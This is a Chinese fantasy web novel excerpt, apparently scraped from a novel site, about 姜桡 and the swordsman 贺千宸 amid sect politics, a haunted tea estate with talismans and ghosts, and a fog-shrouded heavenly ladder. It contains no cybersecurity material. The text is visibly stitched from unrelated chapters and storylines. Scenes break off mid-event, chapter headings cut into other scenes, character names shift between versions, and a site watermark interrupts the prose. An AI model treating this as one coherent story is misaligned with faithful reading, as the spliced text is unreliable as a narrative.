姜桡从来不是一个畏惧风险的人,不然她也不会在那个时候打开母亲留下的东西,使用秘法,去接近贺宸。而事实证明,姜桡赌赢了,她不仅修补了经脉,修为还更上了一层楼。 一旦在这样的赌局中尝过甜头,姜桡便难以说服自己彻底放弃这个想法。 姜桡指尖轻颤,将一堆丹药收好,又抱起糖圆。低下头,姜桡便看见了糖圆脖子上挂着的白玉吊坠。在糖圆灰色毛发的映衬下,那颗白玉石显得越发明亮灼眼。 “糖圆,之后我们先住在这里。”姜桡疲倦地揉了揉眉心,“时间也不早了,先休息吧。” 纵使心中有疑惑,糖圆到底也没问出口“之后”一词具体代表了多久的时间跨度,只是点点头,找到床铺的位置,一如既往地窝在了一旁。 简单地沐浴过后,姜桡在床上打坐,屏息运气,调理着自己的伤势。半晌,她才躺下,暂时抛却外界的纷纷扰扰,开始闭着眼休息。 疲惫的身体拖着她入睡,姜桡却能明显感受到自己的灵魂在被拉扯着。皱眉间,她想要睁眼,却被扯着坠入一团黑黢黢的迷雾之中。 熟悉的声音在耳边回响,厚重得像是宣告死亡的丧钟:“天道不公,为何不随吾一同毁灭这个世界?” “你的母亲失败了,但吾知道,你会成功的……” “你做得很好,吾很喜欢你身上的味道。孩子,你会成为吾最得意的作品。” “……别再抗拒,接受……吾,接受宿命……” 姜桡拼命想要挣扎,但无形之中仿佛有无数条藤蔓捆绑住她的手脚,令她无法动弹,只能被迫地聆听这一段呓语。 黏腻感爬满姜桡全身,她被恶心到反胃,只能不断干呕。 再睁眼时,姜桡冒了一身冷汗,视线也失去了焦点。直到糖圆跳上床,蹭了蹭她发冷的手腕,姜桡才费劲地爬起来,靠在床边,大口大口地呼吸。 对于这一场噩梦,姜桡无法做到不在意。 姜桡收紧手,指尖掐住掌心的肌肤,几乎要将其刺破出血。极端的失控之中,姜桡意识到一个残忍的现实—— 时间从来不会倒退,错过之后,她不会再拥有第二次得天独厚的机会。 所以,一旦遇到,她必须牢牢抓紧,才能为自己,为青银,赢来一线生机。她会好好活下去,带着母亲的那一份。 糖圆仰头,无意间对上了姜桡的视线。她面色苍白,双眼却明若秋水,闪着坚定的光。 “糖圆。”姜桡轻声喊它,“愿不愿意再陪我回一次天月宗?” 短暂的愣神过后,糖圆果断地扑进了姜桡怀中,喵呜了一声。 姜桡将糖圆抱紧,感受着一颗心在胸腔处发出的狂跳声。她抿了抿唇,彻底下定决心—— 她要以姜糖的身份回到贺宸身边,再次利用他,并且背叛他。 翌日,天月宗。 结束任务后,赵元珍一行人便匆忙地赶回宗门,想要向长老上报贺千宸的异样,却意外地从掌门那里听到了贺千宸受伤的消息。 王复一担心地要命,急匆匆地跑去贺千宸的洞府,却见他还在后院密林处练剑。天华剑的剑风凌冽,王复一只能悻悻地带着赵元珍和林不语到一旁躲着,等贺千宸收了剑,他才凑上去。 “师、师兄,听说你受伤了,现在可好点?”王复一下意识地想要喊贺千宸师父,但一想到贺千宸之前不许他这样喊,便又硬生生地转了个弯,转而喊贺千宸师兄。 贺千宸:“无碍。” 王复一松了口气,但又忍不住叨唠起来:“师兄,你还是先休息几天吧。你不必事事躬亲,非要带着我们做任务。你看,你当时走了,我们三个人不也是好端端地回来了吗?” 王复一本来只是习惯性地一说,却不想这一次贺千宸点了头,回了他一个“好”,他登时瞪大眼睛。 天哪,天月宗出了名的勤劳刻苦典范,贺千宸竟然要休息了。林不语双眼微眯,直觉其中必定有怪,若是能挖出这背后的原因,他这天月宗百晓生的地位还愁不稳吗? 原本只是礼貌性过来探病的林不语顿时来了兴趣,眼巴巴地凑到贺千宸身边,随时准备记录有用的消息。没想到,贺千宸的目光倏然落在他身上,紧接着,一句警告直指他而来—— “离唐小米宸点。” 小米姑娘?! 贺千宸不提还好,一提林不语便气上心头。要不是贺千宸突然喊他去做任务,他早就和小米姑娘去约会了,说不定现在两人已经更进一步,马上就要成为道侣。 林不语心想,你贺千宸真是我姻缘线里的扫把星,每次有你出现就保准没好事。之前贺千宸便当着他的面与小米姑娘眉来眼去,现在居然还敢命令他,不准他接近小米姑娘。 林不语没好气地应了一声,只当那是耳旁风,左耳进右耳出,左右贺千宸不是他的直系师兄,没什么好怕的。 赵元珍本就被冷落了好一会,心里有气,此时又见贺千宸提起唐小米,不由醋意大发,扯开碍事的林不语便站到贺千宸身边,对着他发脾气:“师兄,掌门让你出任务带着我,你怎么自顾自便走了,也不同我说一声?” 兴师问罪的架势摆的很足,被扯开的林不语也是一懵,随后才反应过来。 林不语和王复一相视一眼,默默地往后退了一步,给这位大小姐留出吵架战场的空间。 “你还说那个什么唐小米,有这个功夫你都不关心一下我们?!”赵元珍叉着腰,一双杏眼愣是瞪出了点气势汹汹的感觉。 “不是还没死吗?”贺千宸轻飘飘道,完全没有将赵元珍纳入到自己的视线之中。 赵元珍愣住了,呆呆地问:“什么?” 下一瞬,赵元珍才反应过来,自己一听闻贺师兄受了伤便眼巴巴跑过来关心他,结果在他眼中,自己只要没死便不是什么大事,根本不值得他关心。 一向被家里千娇百宠着长大的赵元珍顿时鼻尖发酸,她红着眼,带着哭腔地骂了贺千宸一句“王八蛋”,便提起裙摆跑了。 林不语尴尬地摸了摸鼻子,但碍于那是自己的师妹,只能忙不迭地追去。顿时间,密林附近只剩下贺千宸和王复一两个人。 王复一暗暗叹一口气,一提到“死”这个敏感词,他便下意识谨慎起来,更不敢在此时去劝贺千宸怜香惜玉,以免触他的眉头。 王复一知道,宗门上下爱慕贺千宸的人不少,但没一个能坚持过三个月。无他,实在是贺千宸这人不仅时常不见人影,还冷得像块冰,谁来都捂不热,最后反倒自己被冷到打颤。 不过,王复一原以为赵元珍会是个例外,毕竟对这样一个在蜜糖罐子中长大的大小姐来说,甜言蜜语简直俗透了。相较之下,贺千宸的冷言冷语反而会激起她的兴趣。 不过,三个月似乎也要到了…… 临走前,王复一还是忍不住提醒道:“师兄,你还是抽空去看赵师妹一眼吧,免得掌门那边……” “不用。”贺千宸垂下眼,专心地擦拭着天华剑的剑锋。 见搬出掌门也不好使,王复一只能灰溜溜地走了。回去的路上,电光火石间,王复一忽然一拍脑袋,终于恍然大悟。 虽然明面上贺师兄还是掌门的座下弟子,但他是天华剑的传承人,未来极其可能像上一任天华剑仙那样飞升成仙。纵观整个修仙界,飞升者寥寥无几,即使是天月宗的掌门也很难走到那一步。 所以,贺师兄狂一点,似乎也可以说得通? 王复一走后,贺千宸进了洞府。一夜过去,他身上的伤已然痊愈。唐小米身上的追踪术法已经被解除,她很可能已经察觉到他的杀意,事不宜迟,贺千宸不愿意再拖下去。 只要这些人一日不除,姜糖便有可能再次遇到危险。 贺千宸催动灵力,一道白光闪过,天华剑便开始查找糖圆的气息。几瞬过后,天华剑终于定住,给出了贺千宸意料之中的答案—— 他们果然在妖魔宫。 贺千宸面无表情地站起身,手中的天华剑因为他迸发出的战意而开始兴奋地轻颤。 贺千宸知道,唐小米既然能带着糖圆躲在妖魔宫,便是做足了准备,吃准了他不敢贸然闯入。她们算计得很好,却唯独漏算了一点—— 一个正常人当然不敢擅闯妖魔宫,在妖皇的眼皮子底下杀他的人,但不能用正常人的思维去测算一个疯子的行径。 可恰巧的是,他贺千宸正是个不折不扣的疯子。 随即贺千宸目光落在身后那群正在靠近的剑栖宗弟子们。 “我们先上天梯!” 姜桡乖乖的点点头,苏音跟无念却是有些犹豫。 虽是第二次进黑雾里,但心里多多少少会有些不安。 眼下还没有什么奇怪事发生,兴许踏上天梯就不一定了。 随着贺千宸抬腿踏入天梯的瞬间,四周景致也发生天翻地覆的变化,他们就像是进入到了另一个空间。 正前方依旧是没有尽头的天梯,只是身后的剑栖宗弟子却都消失不见。 不等众人反应过来,苍穹上空忽落下无数只火球,小部分砸落在周边,大部分砸在四人身侧。 贺千宸本能的去护住阿桡,可奇怪的是,这些火球竟都避开了阿桡,只朝着苏音跟无念砸去。 姜桡:……… 在一波又一波火球的攻击下,苏音头发跟衣裳都烧焦了,身上甚至多出好几道灼伤,相比较的话,姜桡跟贺千宸一点事都没有。 苏音有些愤愤不平道。 “怎么还区别对待呢!!!” 无念低头看着被烧的满是破洞的袈裟,十分心痛的双手合十,很生气念了声阿弥陀佛。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 60-68 第 61 章 第六十一章 贺千宸却很敏锐的察觉到不对劲,无论在里界的天梯还是外界的天梯,是不会出现这种天降火球。 除非天梯受到黑雾的影响,每上一层就会有不同的危机等待着他们。 贺千宸神情瞬间变得无比严肃起来,外界天梯并不像里界那般,途中会有什么考验,就是普普通通连接两界的通道。 可如今这条通道变得危险重重。 姜桡心中的惊恐已经慢慢褪去,她抬头看向心事重重的贺千宸,忍不住开口问道。 “阿鹤,怎么了?” 贺千宸把自己的发现说了出来,随即又道。 “不过这也算是连好事。” 姜桡有些不明所以:“好事?” 贺千宸解释:“至少剑栖宗那群人没那快追上来。” 姜桡恍然大悟,只是有件事她没想明白,黑雾为何会突然把自己卷了进来。 当时明明离黑雾还有很远的一段距离。 杨镖头在瞥见贺千宸与姜桡并未下山,而是跟在他们身后时,只以为两人是想通了。 半柱香后,众人十分顺利的抵达到茶庄门前,之前顾虑的事情皆没有发生,这让每个人脸上都露出极其轻松的笑意。 唯独姜桡脸色极其难看,她这个人向来惜命的很,若不是那仅剩的一点点良心过意不去,又怎会明知山有虎,偏向虎山行。 贺千宸神情淡漠,只是在闻见衣袖那处传来的恶臭味时,眉心不由紧紧蹙起,那漆黑眸子沉冷的可怕。 夜风掠过,门檐下两个白色的灯笼摇晃的厉害。 杨镖头走上前,伸手拍打那扇赤红色的大门,“咚咚咚”的拍门声打破周边的寂静,又似是唤醒沉睡中的邪灵。 良久,赤红色的大门发出笨重的“咯吱”声,在狭窄的缝隙中颤颤巍巍中伸出一盏手提白色纸灯笼,紧接着露出一个人脑袋,在抬起头的瞬间,杨镖头吓的朝后退了好几步。 开门的是个老婆子,身形瘦小干瘦,满头印发,苍白的脸上布满皱纹,不知是桃李年华时用眼用的厉害,那眼眶深陷的厉害,在阴影下如两个深深的窟窿。 杨镖头回过神后,连忙说明来意。 老婆子动作僵硬的打量众着人,半响,声音嘶哑道:“进来吧。” 说完,便将那扇赤红大门吃力推开。 杨镖头见状,生怕老婆子那枯瘦如柴的手在推门时折断,急忙上前帮忙,老婆子垂着头也没吭声,见半扇门推开很大的缝隙后,才转身在前带路。 而杨镖头则示意众人快些跟上来,在他看来,进了茶庄那便彻底安全。 天色早已黯淡下来,夜空之上不知何时悬挂着一盏弯月,散发羸弱的光,点点星光零散的落在周边。 姜桡目光死死盯着带路老婆子的脚下,见贺千宸准备跟上去时,她下意识伸手拉住这个男人的手,只是在触碰的瞬间,才察觉到贺千宸的手冰冷的吓人。 贺千宸原本那含笑的眼眸转瞬森冷,可在侧身垂眸看去的瞬间,又将其掩饰的极好,他故作疑惑问道。 “阿姜怎么了?可是怕了?” 在说话的过程中,贺千宸不动声色的将手抽了出来。 姜桡自然是怕,在白色纸灯笼的烛光下,每个人的影子都被拉的极长,可若仔细数的话,就会发生少一个人影。 贺千宸见她迟迟没有答复,缓缓收回踏出门槛的右腿:“若不然咱们下山?” 他声音低沉,带着一丝蛊惑的意味。 姜桡内心有些动摇。 因为她比任何人都清楚,只要踏入那扇门,里面将会有无数的危险等着自己,小命甚至也会不保。 现在跟贺千宸下山还来得及。 但杨镖头这群人…… 已经踏入茶庄的李广见贺千宸跟姜桡还站在门口没进来,连忙转身小跑过去,轻声的安慰两人。 “贺公子姜姐姐,你们别怕,我们杨镖头跟张师傅武艺可厉害的,有事定会护住咱们,何况我们只是在茶庄借宿一晚,明早天亮就走,不会有事的。” 姜桡抿着唇犹豫半响,从挎包中掏出一张黄符。 这张是去炁斩祟镇魂符,是她花费两夜才画成功的,仅此一张。 姜桡十分心疼道:“晚上将这张黄符贴在屋内任意角落。” 李广微微愣住,他对鬼神之说并不信,可不知为何,鬼使神差的将那黄符接了过来,并将其放置胸口处,随即脸上露出灿烂的笑意。 “那我们快跟上去。” 姜桡在心里默念五遍救人一命胜造七级浮屠,我不入地狱谁入地狱后,才咬了咬牙抬头踏入茶庄的门槛。 贺千宸眼底掠过一抹可惜的神情,缓缓跟在身后。 落在最后的李广正准备关上敞开的大门,手刚伸过去,那扇赤红色大门却发出“咯吱”的声响,自己缓缓的关上。 而在关上门瞬间,他似是看到外面有什么东西快速的掠过。 在确信不是自己幻觉后,李广的全身鸡皮疙瘩都冒了出来,待回过神后,连忙朝姜桡所在方向跑去。 姜桡正打量四周,两侧是高高的围墙,围墙下是曲曲折折的亭台楼阁,只是每一处都悬挂着一盏又一盏白色的纸灯笼,昏黄的烛火透着纸灯笼散发孱弱的光。 这时李广匆匆跑来,他声音有些发颤的问道:“姜姐姐,这山庄是不是……有鬼呀。” 话落的瞬间,纸灯笼散发的光突然变得绿幽幽。 李广下意识抓紧姜桡的手,全身哆嗦个不停,在看到杨镖头那行人还不知情的跟着那老婆子身后走时,他刚准备开口,却被姜桡给捂住嘴。 “别喊。” 李广慌张的点点头。 姜桡这才撒开手,并极其嫌弃的搁在李广肩上蹭了蹭。 “先别打草惊蛇,何况你的张镖头等人是不会信你的话,告诉他们也没用。” 贺千宸漫不经心的站在旁侧,眼帘低垂,长睫落下的浅浅的阴翳,让人无法看清脸上的情绪如何,似是察觉到什么,他侧目看向隐藏在黑暗中的东西后,先是微微一愣,随即嘴角勾起。 两人并未察觉到贺千宸的异样,正低着头小声嘀咕着。 李广快要哭出声:“姜姐姐,那我应该怎办呀?” 姜桡想了想,十分认真的问道:“你身上有银子吗?” 李广虽然有些不解,要银子做什么,但还是乖乖的从怀里掏出两颗碎银子。 “只有这么多。” 姜桡毫不客气的拿到手中,然后从挎包中掏出五张五雷符,郑重的放在李广的手里,并嘱咐道。 “若碰到危险,就拿出一张来用。” 不搭配手诀与口诀五雷符虽无法发挥它真正的实力,但也可用,至少能拖延逃跑时间。 李广:…… 他忍不住开口:“这二两银子五张黄符,会不会……贵了点。” 姜桡想了想,故作心疼的又拿出一张玄火符。 “这可是友情价,不能再多了。” 李广:…… 跟随老婆子转弯进内院的杨镖头见李广同姜桡正在不远处说些什么,脸色瞬间沉了下来,他停下脚步,大声怒叱着。 “李广,还不快跟上来。” 他的声音在这静寂的院中显的格外大声,惊的一只黑猫突然从黑暗中窜了出来,并发出凄厉的叫声,冲着杨镖头飞扑过去。 也好在杨镖头身手了得,迅速闪身躲开,若不然那脸定是要被抓花。 在前方带路的老婆子动作僵硬的扭过头,声音嘶哑警告道。 “声音小些,它们会醒过来的。” 杨镖头以为是怕吵到茶庄的主人,连忙噤声,然后狠狠瞪了眼李广,示意他快些过来。 李广迅速将所有黄符塞到怀里头,才不情不愿的离开姜桡的身边,在瞥见领路老婆子的脚尖是垫起来走路时,吓的紧紧拽着身边兄弟陈千峰的胳膊,才没尖叫出声 陈千峰皱着眉:“怎么了?” 李广疯狂摇头,他不怕,他可是有七张黄符的人。 而挖掘出商机的姜桡则跟贺千宸比肩走在众人身后,她低头数着挎包中的黄符,心里嘀咕着,下次得卖贵点才行。 老婆子将众人带到后院的下人房处,随即走到姜桡与贺千宸面前,那老婆子似是察觉到什么,并未靠的太近。 “两位贵客,请随我来。” 说完,她带着两人去往另外的院子去。 而后知后觉的杨镖头也察觉到不对劲之处,这一路走来,他并未看到其他人,就算都歇了下来,但这茶庄却是安静的可怕。 杨镖头不由想起姜桡的话,难不成真有脏东西? 可很快他就将这想法甩到脑后。 若有脏东西,怎会安置房间给众人休息呢。 下人房就是大通铺,四周角落布满蛛丝不说,空气中还弥散着一股霉味,走镖之人对住宿并不讲究,随意打扫后,就各自寻个位置躺下来歇息。 李广趁所有人不注意,悄悄的将姜桡给他的第一张符贴在极其隐蔽的角落处,然后双手各抓一张符,警惕周围的动静。 随着周边的鼾声响起,李广紧紧抿着唇,脸上露出一副快要哭出来的样子。 这时躺在他身边的陈千峰突然开口:“李广,你怎么还不睡?” 李广声音微微发颤,撒谎道:“我不困。” 陈千峰并未察觉李广的不对劲,他翻过身,从怀里掏出一根银色梅花簪子,脸上浮出几丝红润。 “你说,巧妹会喜欢这簪子吗?” 李广看着陈千峰那一副害羞神情,整个愣了片刻,待回过神,便开口问道。 “陈千峰。” “嗯?” 李广犹豫半响,试探的问道:“你不觉得这茶庄很不对劲吗?” 话音刚落,门外出来刺耳的“刺啦”声,有人再用指甲抓在门,那种指甲与木门之间的摩擦让人不由打个寒战。 李广被吓的直接弹坐起来,在豆大的烛火的晃动下,他目光紧紧的盯着那单薄的木门。 想着若有什么闯了进来,就将手中两张黄符砸过去。 睡着的众人也陆陆续续醒过来,有人忍不住埋怨道。 “怎么有人半夜挠门呀?” 那单薄的木门突然被人用力拍打着,震的上方的灰尘都落了下来,可奇怪的是,那木门就是没有被撞开,而从缝隙中,众人都清晰的看到一双青灰色脚踝,下面穿着红色绣花鞋,正悬浮在半空中。 这一幕吓的屋内所有人都不敢动弹。 若不是桑枝出手,她或许就被由灵族双翼所锻造的匕首,直接割破了喉咙。 桑枝嘴角露出两个浅浅的酒窝。 “等这里人族都变得很甜美,我们就安全了。” 姜桡连忙解释:“可那三人都是我的朋友,她们是不会伤害我的,你能不能……” 话还会说完,她便看到桑枝的脸上笑意消失不见,而且阴沉沉的盯着自己。 “你为什么不听话!” 原本稚嫩的嗓音忽变得成熟起来,甚至带有几分熟悉,就好像在哪听到过。 察觉不对劲的姜桡,下意识想要离桑枝远着,但胳膊却被她紧紧的抓住。 桑枝的力气很大,几乎把姜桡定在原地,根本无法动弹。 随即桑枝很生气说道。 “我得把你藏起来,只有藏起来才是最安全饿。” 第 62 章 第六十二章 不等姜桡反应过来,无数枝藤蔓从天梯两侧冒了出来,只是瞬间,便将她缠得跟个蚕蛹似的。 桑枝眷恋的靠在包裹姜桡的树枝上,伸手轻轻摩挲着,并自言自语道。 “我这都是为了你好。” 这些树枝有些诡异,被裹得严严实实的姜桡,只觉得整个人变得昏沉沉的,想唤出玉埙都心有力而不足。 虽然身体无力,但意识还残留几分,她隐隐约约的察觉到,桑枝正带着她朝着天梯上方走去。 眨眼的功夫,两人就抵达到天梯尽头。 桑枝坐在最后一层台阶上,她看着被裹在树枝中,已经彻底昏睡过去的姜桡,脸上忍不住露出满意的笑容。 “放心,我会保护好你的。” 差不多半盏茶的时辰,贺千宸从困境中杀了出来,那半张脸沾满血迹。 他持剑站在台阶上,没瞧见阿桡身影后,便坐下来用干净的绣帕认真擦拭掉脸上的血迹,贺千宸害怕这样子会吓到阿桡。 可等苏音还有无念都出来,贺千宸也没瞧见阿桡的身影,脸上不由露出担忧且慌张的神情。 无念见状,连忙开口。 原在厅内跪着的胡娘突然抬眸,面露担忧的看向拿着黄符离去的韩青,直至手中的黄纸被燃烧殆尽,火苗轻舔那细嫩如玉笋的手指瞬间,才吃痛的回过神来。 丁氏轻抿着唇,将黄纸一张一张丢进铜盆内,眼底是化不开的哀愁。 等韩员外神情凝重的将手中的三炷香给插在香炉上后,又跪在地上对着棺材用力磕三个响头才起身。 他侧目看向厅外那位身手不凡的姜桡,抬腿走了出去。 姜桡将方才拿出来的银票放在挎包内侧,并轻轻拍了拍才觉得安心,她对那韩青没什么好印象,刚又狮子大张口的要十张方才的雷符,这其中肯定藏有什么猫腻。 以防万一,姜桡只拿出九张废符,一张去炁斩祟符。 至于那张去炁斩祟符,是担忧韩青碰到隐藏在茶庄中的殇魂,好让他有逃跑的机会。 这时韩员外等人从厅内走出来,他无比感激道。 “今日多谢姜大师出手。” 姜桡神情淡淡,一副故作高深的摸样:“不客气,我也是拿钱办事。” 韩员外闻言,犹豫半响才轻声开口。 “韩某还有件事恳求姜大师帮忙。” 姜桡挑眉:“什么事?” 韩员外幽幽叹口气:“自是茶庄外的雾气,只希望姜大师能够驱散那雾气,我阿娘的棺材也能早些入土。” 眼下天气炎热,若棺材在大厅继续放下去,他亲娘的尸首怕是要腐烂淌渗尸水。 许是怕姜桡不应,韩员外又继续说道。 “着茶庄内粮食不多,只能撑上七日,七日后雾气若是不散,大家都要活生生饿死在这。” 他并非是危言耸听,只是撒个谎。 茶庄位于半山腰,每半个月才会派人去镇里采购米油盐,而庄内有好几块菜地,还养了许些鸡鸭兔等,存的粮食是能供众人吃上半月有余。 姜桡微微一怔,她怎么忘了这事。 从雾气出现时,姜桡所有的心思都是怎么找出隐藏在茶庄中的殇魂,却忽略雾气就是一座看不起的牢笼,它将茶庄所有人都困在其中。 而等粮食都吃完后,雾气还未散去的话,这座茶庄定会变成人间炼狱。 想到这里,姜桡忍不住打了个寒颤,她神情严肃。 “我尽力。” 韩员外听到这三个字后,这才松口气:“那就辛苦姜大师了。” 姜桡点点头:“我先回院子里多画些符,也劳烦韩员外吩咐下人,天黑之后,无论听到什么动静都别开门。” 说完,她低头从挎包中翻出三张去炁斩祟镇魂符出来。 “天黑之后,贴在门后面,防止邪祟进屋。” 韩员外满脸感激接过手中的三张黄符,并未分发给身后的丁氏与胡娘,而是将其塞入怀中,并一脸感激道。 “多谢姜大师。” 随即他便让孙管家送姜桡去院子里歇息,杨镖头等人也不好在这站着,索性结伴一起离开。 跟在杨镖头身边的李广似是想起了什么,连忙加快脚步,凑到了姜桡的身边,并从怀里掏出方才得到的银两。 “姜姐,你能不能再给我几张黄符,最好是贴在屋子里头的那种。” 昨夜就是那张什么炁斩黄符救了大家的命。 姜桡十分大气的抽出五张去炁斩祟镇魂符出来,她看了眼跟在旁侧的孙管家,然后交代李广,今日天黑之后就回屋,无论听到什么动静都别出来。 李广连忙点点头,他将黄符小心翼翼塞到怀里,然后回到杨镖头身边,神情凝重的告知此事。 闻言,杨镖头这心中是越发愧疚。 很快杨镖头来到昨夜歇息的下人居住的院子,他们同姜桡与贺千宸告别后,才转身回屋,孙管家继而跟在两人身后。 姜桡抬眸看向身边神情淡淡的贺千宸,见清风正撩动他那如墨般的长发,长如蝶翼的眼睫毛也随之颤了颤,忍不住又多看了几眼。 察觉到身边女子略微灼热的视线,贺千宸垂眸对上姜桡的目光,声音清润又低醇的问道。 “阿姜盯着我?可是有事要说?” 此时一缕墨发调皮的随着风轻轻的摩挲姜桡的脸颊,莫名的有种说不出的亲昵,姜桡伸手想将去拂去,风向忽变,她抓了个空。 为掩饰尴尬,姜桡只能挠了挠有些发痒的脸颊。 “没事。” 她总不能说,因为美色,忍不住多看几眼吧。 待两人来到昨夜住的院子时,孙管家先是一愣,明显没想到会是这个的地方,可想着这姜姑娘是有大本事的人,这院子就算闹鬼,那害怕的也应该是鬼。 想到鬼,孙管家脑海中就浮现出那从老夫人棺材里窜出来的怪东西,尤其是方才的那番话,他也顾不得别的,语气焦急唤道。 “诶!姜大师!” 孙管家小跑到姜桡面前,犹豫半响,才涨红张老脸开口。 “方才那黄符,可否给我一张。” 在孙管家眼中,那不是黄符,那是他的命! 姜桡早就在等这条鱼儿上钩,她故作伸手从挎包中掏黄符的姿势,见孙管家紧锁的眉头慢慢松开的瞬间,又将手撤了回去。 “可以呀,但我有几个问题想问。” 孙管家先是一愣,随即斟酌了好半会,才低头环顾四周,见没人才应道:“姜大师您尽管问。” 姜桡是昨夜来到这阿茶山庄的,对这阿茶山庄的情况一无所知,可这不是最紧要的,今日种种皆能看出来,阿茶山庄的庄主韩员外,有很多事情瞒着没说出来。 还有韩青,也不对劲。 不过,除去杨镖头等人外,茶庄中所有人都有可能是殇魂寄生的宿主。 这就像是在一羊群中,寻找那头披着羊皮的狼,并将其猎杀。 姜桡直接开门见山问道:“韩老夫人是怎么死的。” 孙管家在听到韩老夫人这四个字后,脸色瞬间变的难看起来,可为了那张救命黄符,还是缓缓开口。 “老夫人……老夫人她就是枉死的。” 孙管家想到老夫人的死状,就忍不住打个寒颤,随即在姜桡的注视下,将茶庄前些日子所发生的事情缓缓讲述出来。 大约是在七天前,老夫人不知怎么的噩梦连连,整宿整宿睡不好,最诡异的是,老夫人每天晚上的梦境内容竟都是相同的。 老夫人梦见自己睡在床榻上,却觉得自己是醒的,甚至能瞧见床榻上的自己,还有候在旁边守夜的侍女,但不知为何,却无法动弹。 随着夜色越深,一声凄厉的猫叫声响起,紧接着老夫人瞧见窗外出现一只猫儿的影子,只是眨个眼,那猫儿就从窗外跃到了屋内。 为何孙管家知晓那么清楚,是因为那日老夫人抓着韩员外的手诉说这一切时,他刚巧站在外面。 姜桡好奇问道:“老夫人的死跟这只猫有关系?” 她不由想起师傅一个好友,就是专门帮别人解梦。 这位大师说,梦境有好有坏,皆代表不同的意思,不过最奇妙的还是预示梦。 预示梦简而言之,就是梦见以后或者将要发生的事情。而越久远的事梦境内容越模糊,只是在某一刻,你会发现这个场景,你感到十分熟悉,似是曾见过,经历过。 其次就是胎梦。 韩老夫人本身是女子,属阴,年纪较大,故此八字较轻,才会一直做预示梦。 孙管家先点点头,后又摇摇头。 半响,他才开口继续道。 “老夫人说,在梦境中,进屋的猫儿全身漆黑,可诡异的是那眼珠子竟血红血红的,那只猫每夜都会走到她的枕边,然后掏出锋利的爪子,将她一双眼珠子给活生生挖出来,张嘴吞进肚子里头去。” “邪门的是,就在三天前,天还未亮,伺候老夫人的侍女一声惨叫声惊醒所有人,等我赶过去时,就看到老夫人已经断了气……只是……” 孙管家想起那日的画面,只觉得瘆的慌。 “老夫人的眼珠子不见了,眼眶如两个黑窟窿,脸上满是干涸血迹,无比骇人。” 话音落后,姜桡猛的想起来那日在村口讨水喝时,有一名疯癫女子,神秘兮兮的问她可有瞧见老夫人的眼珠子的事。 她忍不住问道:“那侍女是不是吓疯了?” 孙管家轻“嗯”了声,那侍女是第一个发现老夫人的人,也不知是瞧见老夫人那副恐怖的死状吓疯的,还是看到别的东西给吓疯的。 听完老太太死亡的前因后果,姜桡十分疑惑道:“既然老夫人死的如此蹊跷,你们家老爷为什么不去报官,反而办起了丧事呢?” 今日这韩员外可是一副大孝子摸样,难不成是装出来的? 孙管家幽幽的叹口气:“主子怎么想,哪是我们做下人能去猜疑的。” 姜桡突然问道:“那老妇人的眼珠子找到了吗?” 孙管家摇摇头。 这下人们之间曾有人嘀咕,会不会真的被那只黑猫给吞到肚子里头去了。 姜桡不由紧蹙眉心,老夫人梦境中的那只红眼黑猫似是与今日,从棺材里头窜出来地那只黑猫几乎相同。 难不成是有人趁大家不注意,将黑猫塞进棺材里头,并取走棺材盖上的一颗钉子,故意将棺材做成汇阴聚魂之地? 察觉到苏音死去无念顿时嚎嚎大哭起来,他转身将苏音逐渐冰冷的尸体放置在地上,双手合十,哽咽的念起了往生咒。 “南无阿弥多婆夜,哆他伽多夜,哆地夜他,阿弥唎都婆毗……” 念完之后,无念继续背起苏音的尸体,朝着有光的方向走去。 可从困境中离开后,无念却发现苏音的尸体竟消失不见。 与此同时,他听脚边传来大口大口的喘息声,无念低头看去,竟发现苏音正坐在台阶上,只听她不可置信道。 “我不是死了吗?” 无念连忙蹲坐下来,边擦拭脸上的泪渍,边笑着说道。 “活着就好,活着就好。” 等贺千宸从痛苦的窒息感挣扎起来后,诧异发现身上伤口竟都消失不见,自己更是站在原来的台阶上。 难不成… 在这黑雾中是不会真正的死去? 可想到死去时的痛苦,以及醒来时那种窒息感,就算人不死,久而久之,也是会被折磨到疯的。 但不管如何,这对贺千宸来说是好事! 第 63 章 第六十三章 在贺千宸抵达天梯尽头时,已经不知死了多少次。 他从痛苦且窒息的死亡中挣扎着,每次复活都是对精神上与肉体上的一种折磨。 有些人恐惧这种折磨,不愿再上天梯一步,有些人更是被这种折磨给活生生逼疯,然后陷入循环之中。 死而复生,又在痛苦中死去,再次死而复生… 可这种痛苦的折磨并没有摧毁贺千宸,反而磨练他的心智与剑心,境界更是层层突破。 如今的贺千宸的境界已是九品真人,可这些还远远不够。 九品之上又分真人与尊者。 尊者在真人之上,他跟剑栖宗老祖宗之间还差得很远很远的一段距离。 只一眼,爬上天梯尽头的贺千宸就看到被树枝裹住的姜桡,以及靠在旁边睡的正香的桑枝。 贺千宸并未直接上前,而是警惕的打量那看似无害的小女孩,随即目光落在上古法阵旁边的那颗由黑雾凝聚成的大树。 只要摧毁这颗大树,笼罩在千年雪山以及天梯的黑雾便可消散。 可持剑许久,贺千宸却迟迟没有下手。 从贺千宸登上天梯尽头时,便已经醒过来的桑枝忍不住拍了拍手,她故作疑惑的问道。 “你在犹豫什么?” 听到声音的贺千宸连忙转身,持剑对着面前的小女孩。 姜桡与贺千宸跟那鬼婆子东绕西绕,最终在一间偏静的院子前停下,姜桡下意识苟在贺千宸身后,左手摸向腰间的挎包。 想着这鬼婆子若有什么小动作,那她也不客气。 哪曾想这鬼婆子竟不按常理出牌,只见她提着白色纸灯笼转过身,扑腾一声跪在两人的面前,也不知是不是身体过于僵硬,静寂的院内发出瘆人的关骨节所摩擦的“咯噔咯噔”声。 姜桡巴掌大的小脸上不由露出错愕的神情,好半响才回过神来,还没等她问话,就听那鬼婆子哀求着。 “还请两位贵客救救我韩家子孙。” 姜桡哪知韩家子孙是什么人,只是见鬼婆子没有威胁性,偷偷松口气,但对鬼婆子的哀求却没回应。 从小师傅就教导过她,鬼只会说鬼话,它们若求你做什么,应许什么,可千万别答应。 姜桡直接无视跪在自己面前的鬼婆子,扯着贺千宸的衣袖朝里面院子里走去,她那为数不多的良心可都给镖车那群人。 何况,姜桡也不想沾染这里的麻烦。 最好今夜歇一晚,明日天亮就离开。 鬼婆子没想到眼前的女子竟如此无情,那布满皱纹且苍白如纸的脸,瞬间开始冒着青光,脸上的皮更是一层一层的裂开,黑色的血顺着裂缝渗了出来,双眼深陷,如两个黑窟窿,极其瘆人。 “你为何不应!” 鬼婆子脑海中不由浮现自己惨死的一幕,那种唤人不应的绝望以及身体上的折磨,让身上的怨气瞬间大增,从一个生鬼硬生生转变成厉鬼。 姜桡见状,边拽着贺千宸的衣袖边大喊道。 “快跑。” 